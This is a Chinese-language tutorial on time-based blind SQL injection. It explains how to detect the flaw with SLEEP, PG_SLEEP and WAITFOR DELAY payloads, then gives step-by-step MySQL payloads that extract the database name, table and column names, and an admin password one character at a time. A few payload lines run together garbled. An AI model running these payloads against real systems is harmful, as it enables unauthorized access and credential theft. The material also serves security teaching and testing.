1.什么是时间盲注
时间盲注是SQL注入攻击的一种高级形式,属于盲注(Blind SQL Injection)的子类。当目标系统对SQL注入的响应不直接返回错误信息或查询结果时,攻击者通过观察数据库执行特定操作所需的时间延迟来推断信息,从而实现攻击
1.核心原理
时间盲注利用SQL语句中的时间函数(如 SLEEP() 、 BENCHMARK() 等),通过构造使数据库执行延迟的查询,根据响应时间的差异来判断注入的SQL语句是否执行成功。由于没有直接的错误信息或结果返回,攻击者需要通过时间延迟的有无或长短来“盲猜”数据库中的信息。
2.工作流程
- 注入测试 :向目标系统的输入点(如URL参数、表单字段)注入包含时间函数的SQL语句。
- 观察响应 :根据服务器响应的时间是否出现延迟,判断注入的SQL语句是否被执行。
- 信息提取 :通过构造不同的条件语句(如 IF() 函数),结合时间延迟,逐位(bit-by-bit)猜测数据库中的数据(如用户名、密码、表结构等)。
3.关键技术
- 时间函数 :常用的时间延迟函数包括:
- MySQL: SLEEP(秒数) 、 BENCHMARK(次数, 操作)
- PostgreSQL: PG_SLEEP(秒数)
- SQL Server: WAITFOR DELAY '时间'
- 条件判断 :使用 IF() 、 CASE 等条件语句,结合时间函数,当条件成立时触发延迟。
- 逐位猜测 :通过构造比较语句(如 SUBSTRING() 、 MID() 、 LEFT() 等),逐位判断数据的ASCII值,从而拼接出完整信息。
2.怎么判断是否为时间盲注
页面不回显对错,但能通过“延时”判断真假
1.验证延迟是否由SQL执行引起
- 对比响应时间 :发送正常请求和注入payload的请求,对比两者的响应时间。若注入后响应时间显著增加(如延迟5秒左右),则可能存在时间盲注。
- 排除干扰因素 :多次测试(至少3次),确保延迟不是由网络波动、服务器负载等偶然因素导致。
- 控制延迟时间 :修改时间函数的参数(如 SLEEP(3) 或 SLEEP(7) ),观察响应时间是否随参数变化而改变。若延迟时间与参数一致,则可确认是SQL执行导致的延迟。
2.构造简单的测试payload
- ?id=1' and if(1=1,sleep(5),0) %23 如果延时5秒页面回显 -->真
- ?id=1' and if(1=2,sleep(5),0) %23 秒回 -->假 则为时间盲注
3.解决步骤
步骤1:验证时间盲注漏洞存在
首先通过构造包含时间函数的payload,确认目标存在时间盲注漏洞。
- MySQL示例 : 向输入点注入 1' AND SLEEP(5) -- ,若响应延迟5秒左右,则确认存在时间盲注。
- PostgreSQL示例 : 注入 1' AND PG_SLEEP(5) -- 。
- SQL Server示例 : 注入 '; WAITFOR DELAY '0:0:5' -- 。
步骤2:确定数据库类型
不同数据库的时间函数和系统表结构不同,需先判断目标数据库类型。
- 方法 :通过构造针对不同数据库的时间函数payload,观察延迟是否触发。
例如:
- 尝试 1' AND SLEEP(3) -- (MySQL),若延迟则为MySQL。
- 尝试 1' AND PG_SLEEP(3) -- (PostgreSQL),若延迟则为PostgreSQL。
步骤3:获取数据库基础信息
通过时间盲注逐位获取数据库名称、版本等信息。
- MySQL示例 :
构造payload获取数据库名长度:
1' AND IF(SUBSTRING(database(), 1, 1) = 'a', SLEEP(3), 0) -- 1' AND IF(SUBSTRING(database(), 2, 1) = 'b', SLEEP(3), 0) --text 1' AND IF(LENGTH(database()) > 5, SLEEP(3), 0) -- ``` 逐位获取数据库名(假设长度为8):
步骤4:获取表名和列名
利用数据库的系统表(如MySQL的 information_schema.tables 和 information_schema.columns )获取目标表和列。
- MySQL示例 :
获取表名(假设数据库名为 test_db ):
1' AND IF(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema='test_db' LIMIT 0, 1), 1, 1) = 'u', SLEEP(3), 0) --text 1' AND IF((SELECT COUNT(*) FROM information_schema.tables WHERE table_schema='test_db' AND table_name LIKE 'user%') > 0, SLEEP(3), 0) -- ``` 逐位获取表名:
1' AND IF((SELECT COUNT(*) FROM information_schema.columns WHERE table_schema='test_db' AND table_name='users' AND column_name LIKE 'pass%') > 0, SLEEP(3), 0) --获取列名(假设表名为
步骤5:提取目标数据
针对目标列(如 username 、 password )逐位提取数据。
- MySQL示例 : 假设目标是 users 表的 password 列(用户名为 admin ): 1' AND IF(SUBSTRING((SELECT password FROM users WHERE username='admin'), 1, 1) = 'a', SLEEP(3), 0) -- 1' AND IF(SUBSTRING((SELECT password FROM users WHERE username='admin'), 2, 1) = 'b', SLEEP(3), 0) --
评论区
评论加载中...